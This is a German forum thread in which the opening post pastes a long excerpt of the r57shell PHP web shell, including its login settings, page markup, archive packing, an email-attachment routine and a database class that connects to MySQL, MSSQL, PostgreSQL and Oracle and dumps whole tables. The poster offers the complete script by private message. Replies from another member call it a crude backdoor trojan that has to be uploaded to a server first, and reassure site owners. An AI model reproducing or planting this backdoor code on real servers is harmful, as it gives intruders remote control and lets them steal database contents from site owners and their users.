Angepinnt Hacks und Angriffe auf Server

    • Hacks und Angriffe auf Server

      Um euch mal zu zeigen wie schnell ein angriff auf eure server laufen kann stelle ich mal ein Script welches aktuell ist, ein.

      hier könnt ihr sehen wie einfach es daoch ist !!! einen Server oder Website zu Hacken.

      HIER EIN TEILAUSZUG

      // ????? ????? | Language
      // $language='ru' - ??????? (russian)
      // $language='eng' - english (??????????)
      $language='eng';

      // ?????????????? | Authentification
      // $auth = 1; - ?????????????? ???????? ( authentification = On )
      // $auth = 0; - ?????????????? ????????? ( authentification = Off )
      $auth = 0;

      // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
      // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
      // ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'
      // Login & password crypted with md5, default is 'r57'
      $name='ec371748dc2da624b35a4f8f685dd122'; // ????? ???????????? (user login)
      $pass='ec371748dc2da624b35a4f8f685dd122'; // ?????? ???????????? (user password)
      /******************************************************************************************************/
      error_reporting(0);
      set_magic_quotes_runtime(0);
      @set_time_limit(0);
      @ini_set('max_execution_time',0);
      @ini_set('output_buffering',0);
      $safe_mode = @ini_get('safe_mode');
      $version = '1.31';
      if(version_compare(phpversion(), '4.1.0') == -1)
      {
      $_POST = &$HTTP_POST_VARS;
      $_GET = &$HTTP_GET_VARS;
      $_SERVER = &$HTTP_SERVER_VARS;
      $_COOKIE = &$HTTP_COOKIE_VARS;
      }
      if (@get_magic_quotes_gpc())
      {
      foreach ($_POST as $k=>$v)
      {
      $_POST[$k] = stripslashes($v);
      }
      foreach ($_COOKIE as $k=>$v)
      {
      $_COOKIE[$k] = stripslashes($v);
      }
      }

      if($auth == 1) {
      if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
      {
      header('WWW-Authenticate: Basic realm="r57shell"');
      header('HTTP/1.0 401 Unauthorized');
      exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>";);
      }
      }
      $head = '<!-- ??????????, ???? -->
      <html>
      <head>
      <title>r57shell</title>
      <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

      <STYLE>
      tr {
      BORDER-RIGHT: #aaaaaa 1px solid;
      BORDER-TOP: #eeeeee 1px solid;
      BORDER-LEFT: #eeeeee 1px solid;
      BORDER-BOTTOM: #aaaaaa 1px solid;
      color: #000000;
      }
      td {
      BORDER-RIGHT: #aaaaaa 1px solid;
      BORDER-TOP: #eeeeee 1px solid;
      BORDER-LEFT: #eeeeee 1px solid;
      BORDER-BOTTOM: #aaaaaa 1px solid;
      color: #000000;
      }
      .table1 {
      BORDER: 0px;
      BACKGROUND-COLOR: #D4D0C8;
      color: #000000;
      }
      .td1 {
      BORDER: 0px;
      font: 7pt Verdana;
      color: #000000;
      }
      .tr1 {
      BORDER: 0px;
      color: #000000;
      }
      table {
      BORDER: #eeeeee 1px outset;
      BACKGROUND-COLOR: #D4D0C8;
      color: #000000;
      }
      input {
      BORDER-RIGHT: #ffffff 1px solid;
      BORDER-TOP: #999999 1px solid;
      BORDER-LEFT: #999999 1px solid;
      BORDER-BOTTOM: #ffffff 1px solid;
      BACKGROUND-COLOR: #e4e0d8;
      font: 8pt Verdana;
      color: #000000;
      }
      select {
      BORDER-RIGHT: #ffffff 1px solid;
      BORDER-TOP: #999999 1px solid;
      BORDER-LEFT: #999999 1px solid;
      BORDER-BOTTOM: #ffffff 1px solid;
      BACKGROUND-COLOR: #e4e0d8;
      font: 8pt Verdana;
      color: #000000;;
      }
      submit {
      BORDER: buttonhighlight 2px outset;
      BACKGROUND-COLOR: #e4e0d8;
      width: 30%;
      color: #000000;
      }
      textarea {
      BORDER-RIGHT: #ffffff 1px solid;
      BORDER-TOP: #999999 1px solid;
      BORDER-LEFT: #999999 1px solid;
      BORDER-BOTTOM: #ffffff 1px solid;
      BACKGROUND-COLOR: #e4e0d8;
      font: Fixedsys bold;
      color: #000000;
      }
      BODY {
      margin: 1px;
      color: #000000;
      background-color: #e4e0d8;
      }
      A:link {COLOR:red; TEXT-DECORATION: none}
      A:visited { COLOR:red; TEXT-DECORATION: none}
      A:active {COLOR:red; TEXT-DECORATION: none}
      A:hover {color:blue;TEXT-DECORATION: none}
      </STYLE>
      <script language=\'javascript\'>
      function hide_div(id)
      {
      document.getElementById(id).style.display = \'none\';
      document.cookie=id+\'=0;\';
      }
      function show_div(id)
      {
      document.getElementById(id).style.display = \'block\';
      document.cookie=id+\'=1;\';
      }
      function change_divst(id)
      {
      if (document.getElementById(id).style.display == \'none\')
      show_div(id);
      else
      hide_div(id);
      }
      </script>';
      class zipfile
      {
      var $datasec = array();
      var $ctrl_dir = array();
      var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      var $old_offset = 0;
      function unix2DosTime($unixtime = 0) {
      $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      if ($timearray['year'] < 1980) {
      $timearray['year'] = 1980;
      $timearray['mon'] = 1;
      $timearray['mday'] = 1;
      $timearray['hours'] = 0;
      $timearray['minutes'] = 0;
      $timearray['seconds'] = 0;
      }
      return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      }
      function addFile($data, $name, $time = 0)
      {
      $name = str_replace('\\', '/', $name);
      $dtime = dechex($this->unix2DosTime($time));
      $hexdtime = '\x' . $dtime[6] . $dtime[7]
      . '\x' . $dtime[4] . $dtime[5]
      . '\x' . $dtime[2] . $dtime[3]
      . '\x' . $dtime[0] . $dtime[1];
      eval('$hexdtime = "' . $hexdtime . '";');
      $fr = "\x50\x4b\x03\x04";
      $fr .= "\x14\x00";
      $fr .= "\x00\x00";
      $fr .= "\x08\x00";
      $fr .= $hexdtime;
      $unc_len = strlen($data);
      $crc = crc32($data);
      $zdata = gzcompress($data);
      $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      $c_len = strlen($zdata);
      $fr .= pack('V', $crc);
      $fr .= pack('V', $c_len);
      $fr .= pack('V', $unc_len);
      $fr .= pack('v', strlen($name));
      $fr .= pack('v', 0);
      $fr .= $name;
      $fr .= $zdata;
      $this -> datasec[] = $fr;
      $cdrec = "\x50\x4b\x01\x02";
      $cdrec .= "\x00\x00";
      $cdrec .= "\x14\x00";
      $cdrec .= "\x00\x00";
      $cdrec .= "\x08\x00";
      $cdrec .= $hexdtime;
      $cdrec .= pack('V', $crc);
      $cdrec .= pack('V', $c_len);
      $cdrec .= pack('V', $unc_len);
      $cdrec .= pack('v', strlen($name) );
      $cdrec .= pack('v', 0 );
      $cdrec .= pack('v', 0 );
      $cdrec .= pack('v', 0 );
      $cdrec .= pack('v', 0 );
      $cdrec .= pack('V', 32 );
      $cdrec .= pack('V', $this -> old_offset );
      $this -> old_offset += strlen($fr);
      $cdrec .= $name;
      $this -> ctrl_dir[] = $cdrec;
      }
      function file()
      {
      $data = implode('', $this -> datasec);
      $ctrldir = implode('', $this -> ctrl_dir);
      return
      $data .
      $ctrldir .
      $this -> eof_ctrl_dir .
      pack('v', sizeof($this -> ctrl_dir)) .
      pack('v', sizeof($this -> ctrl_dir)) .
      pack('V', strlen($ctrldir)) .
      pack('V', strlen($data)) .
      "\x00\x00";
      }
      }
      function compress(&$filename,&$filedump,$compress)
      {
      global $content_encoding;
      global $mime_type;
      if ($compress == 'bzip' && @function_exists('bzcompress'))
      {
      $filename .= '.bz2';
      $mime_type = 'application/x-bzip2';
      $filedump = bzcompress($filedump);
      }
      else if ($compress == 'gzip' && @function_exists('gzencode'))
      {
      $filename .= '.gz';
      $content_encoding = 'x-gzip';
      $mime_type = 'application/x-gzip';
      $filedump = gzencode($filedump);
      }
      else if ($compress == 'zip' && @function_exists('gzcompress'))
      {
      $filename .= '.zip';
      $mime_type = 'application/zip';
      $zipfile = new zipfile();
      $zipfile -> addFile($filedump, substr($filename, 0, -4));
      $filedump = $zipfile -> file();
      }
      else
      {
      $mime_type = 'application/octet-stream';
      }
      }
      function mailattach($to,$from,$subj,$attach)
      {
      $headers = "From: $from\r\n";
      $headers .= "MIME-Version: 1.0\r\n";
      $headers .= "Content-Type: ".$attach['type'];
      $headers .= "; name=\"".$attach['name']."\"\r\n";
      $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
      $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
      if(@mail($to,$subj,"",$headers)) { return 1; }
      return 0;
      }
      class my_sql
      {
      var $host = 'localhost';
      var $port = '';
      var $user = '';
      var $pass = '';
      var $base = '';
      var $db = '';
      var $connection;
      var $res;
      var $error;
      var $rows;
      var $columns;
      var $num_rows;
      var $num_fields;
      var $dump;

      function connect()
      {
      switch($this->db)
      {
      case 'MySQL':
      if(empty($this->port)) { $this->port = '3306'; }
      if(!function_exists('mysql_connect')) return 0;
      $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
      if(is_resource($this->connection)) return 1;
      break;
      case 'MSSQL':
      if(empty($this->port)) { $this->port = '1433'; }
      if(!function_exists('mssql_connect')) return 0;
      $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
      if($this->connection) return 1;
      break;
      case 'PostgreSQL':
      if(empty($this->port)) { $this->port = '5432'; }
      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
      if(!function_exists('pg_connect')) return 0;
      $this->connection = @pg_connect($str);
      if(is_resource($this->connection)) return 1;
      break;
      case 'Oracle':
      if(!function_exists('ocilogon')) return 0;
      $this->connection = @ocilogon($this->user, $this->pass, $this->base);
      if(is_resource($this->connection)) return 1;
      break;
      }
      return 0;
      }

      function select_db()
      {
      switch($this->db)
      {
      case 'MySQL':
      if(@mysql_select_db($this->base,$this->connection)) return 1;
      break;
      case 'MSSQL':
      if(@mssql_select_db($this->base,$this->connection)) return 1;
      break;
      case 'PostgreSQL':
      return 1;
      break;
      case 'Oracle':
      return 1;
      break;
      }
      return 0;
      }

      function query($query)
      {
      $this->res=$this->error='';
      switch($this->db)
      {
      case 'MySQL':
      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
      {
      $this->error = @mysql_error($this->connection);
      return 0;
      }
      else if(is_resource($this->res)) { return 1; }
      return 2;
      break;
      case 'MSSQL':
      if(false===($this->res=@mssql_query($query,$this->connection)))
      {
      $this->error = 'Query error';
      return 0;
      }
      else if(@mssql_num_rows($this->res) > 0) { return 1; }
      return 2;
      break;
      case 'PostgreSQL':
      if(false===($this->res=@pg_query($this->connection,$query)))
      {
      $this->error = @pg_last_error($this->connection);
      return 0;
      }
      else if(@pg_num_rows($this->res) > 0) { return 1; }
      return 2;
      break;
      case 'Oracle':
      if(false===($this->res=@ociparse($this->connection,$query)))
      {
      $this->error = 'Query parse error';
      }
      else
      {
      if(@ociexecute($this->res))
      {
      if(@ocirowcount($this->res) != 0) return 2;
      return 1;
      }
      $error = @ocierror();
      $this->error=$error['message'];
      }
      break;
      }
      return 0;
      }
      function get_result()
      {
      $this->rows=array();
      $this->columns=array();
      $this->num_rows=$this->num_fields=0;
      switch($this->db)
      {
      case 'MySQL':
      $this->num_rows=@mysql_num_rows($this->res);
      $this->num_fields=@mysql_num_fields($this->res);
      while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
      @mysql_free_result($this->res);
      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
      break;
      case 'MSSQL':
      $this->num_rows=@mssql_num_rows($this->res);
      $this->num_fields=@mssql_num_fields($this->res);
      while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
      @mssql_free_result($this->res);
      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
      break;
      case 'PostgreSQL':
      $this->num_rows=@pg_num_rows($this->res);
      $this->num_fields=@pg_num_fields($this->res);
      while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
      @pg_free_result($this->res);
      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
      break;
      case 'Oracle':
      $this->num_fields=@ocinumcols($this->res);
      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
      @ocifreestatement($this->res);
      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
      break;
      }
      return 0;
      }
      function dump($table)
      {
      if(empty($table)) return 0;
      $this->dump=array();
      $this->dump[0] = '##';
      $this->dump[1] = '## --------------------------------------- ';
      $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s";);
      $this->dump[3] = '## Database: '.$this->base;
      $this->dump[4] = '## Table: '.$table;
      $this->dump[5] = '## --------------------------------------- ';
      switch($this->db)
      {
      case 'MySQL':
      $this->dump[0] = '## MySQL dump';
      if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
      if(!$this->get_result()) return 0;
      $this->dump[] = $this->rows[0]['Create Table'];
      $this->dump[] = '## --------------------------------------- ';
      if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
      if(!$this->get_result()) return 0;
      for($i=0;$i<$this->num_rows;$i++)
      {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
      $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
      }
      break;
      case 'MSSQL':
      $this->dump[0] = '## MSSQL dump';
      if($this->query('SELECT * FROM '.$table)!=1) return 0;
      if(!$this->get_result()) return 0;
      for($i=0;$i<$this->num_rows;$i++)
      {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
      $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
      }
      break;
      case 'PostgreSQL':
      $this->dump[0] = '## PostgreSQL dump';
      if($this->query('SELECT * FROM '.$table)!=1) return 0;
      if(!$this->get_result()) return 0;
      for($i=0;$i<$this->num_rows;$i++)
      {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
      $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
      }
      break;
      case 'Oracle':
      $this->dump[0] = '## ORACLE dump';
      $this->dump[] = '## under construction';
      break;
      default:
      return 0;
      break;
      }
      return 1;
      }
      function close()
      {
      switch($this->db)
      File Download - File Upload
      Kostenlos File-Host bei http://file-click.com
    • RE: Hacks und Angriffe auf Server

      Hi,

      dieses Script hat so gut wie keine Auswirkungen, wenn mann kein Zugang zu dem Server hat.

      Allein durch dieses Script bekommt man keinen Zugang! :rolleyes:

      Dafür ist schon viel mehr notwendig!

      Wenn ich mir das sogar näher anschaue, dann ist die Sprachsyntax ca. 4 Jahre alt, was den Stand der Programmiertechnik angeht.

      Also keine Panik. Wer so schlecht programmieren kann, dem wird es nicht gelingen, eine Website, geschweige denn einen ganzen Server lahm zu legen. :D


      Gruß
      creativeMind
      Boonex Dolphin Expert, Software-Entwickler, Web-Entwickler, Designer, iOS Entwickler für iPhone/iPad -- Schulungen, Installationen, Konfigurationen, Sicherheitstests für Dolphin Community Inhaber --
    • RE: Hacks und Angriffe auf Server

      Original von creativeMind
      Hi,

      dieses Script hat so gut wie keine Auswirkungen, wenn mann kein Zugang zu dem Server hat.

      Allein durch dieses Script bekommt man keinen Zugang! :rolleyes:

      Dafür ist schon viel mehr notwendig!

      Wenn ich mir das sogar näher anschaue, dann ist die Sprachsyntax ca. 4 Jahre alt, was den Stand der Programmiertechnik angeht.

      Also keine Panik. Wer so schlecht programmieren kann, dem wird es nicht gelingen, eine Website, geschweige denn einen ganzen Server lahm zu legen. :D


      Gruß
      creativeMind


      wie ich bereits gesagt habe war das nur ein teilauszug, wenn ich dir den rest sende wirst du sehen wie schnell und sauber in dem besitz des servers gelangt !!!!

      hier mal als PN in Anlage das ganze script welche per mailheader eingeschleusst wurde.
      File Download - File Upload
      Kostenlos File-Host bei http://file-click.com
    • Es ist immer noch das gleiche!

      Diese Script ( ob nur teilauszug oder ganz ) verursacht von aussen auf einem Server KEINEN Schaden.

      Es sei denn, du lädst es hoch und führst es auf dem Server aus.

      Gruß
      creativeMind
      Boonex Dolphin Expert, Software-Entwickler, Web-Entwickler, Designer, iOS Entwickler für iPhone/iPad -- Schulungen, Installationen, Konfigurationen, Sicherheitstests für Dolphin Community Inhaber --
    • Also, habe es mir ein wenig näher angeschaut.

      Es handelt sich um einen schlecht programmierten Backdoor Trojaner, der auf Remote Befehle des Users wartet.

      Das einzige was mich wundert ist, dass diese Datei auf einen Server MANUEL hochgeladen werden muss!! 8o

      Und selbst wenn er hochgeladen ist, führt er NICHTS aus.

      Echt komisch...

      Also zur allgemeinen Beruhigung:

      Wenn Ihr bei eurem Dolphin nichts dramatisches im Upload-System ändert, dann kann man so eine Datei nicht hochladen.

      Von außen jedenfalls bewirkt diese Datei gar nichts.

      Gruß
      creativeMind
      Boonex Dolphin Expert, Software-Entwickler, Web-Entwickler, Designer, iOS Entwickler für iPhone/iPad -- Schulungen, Installationen, Konfigurationen, Sicherheitstests für Dolphin Community Inhaber --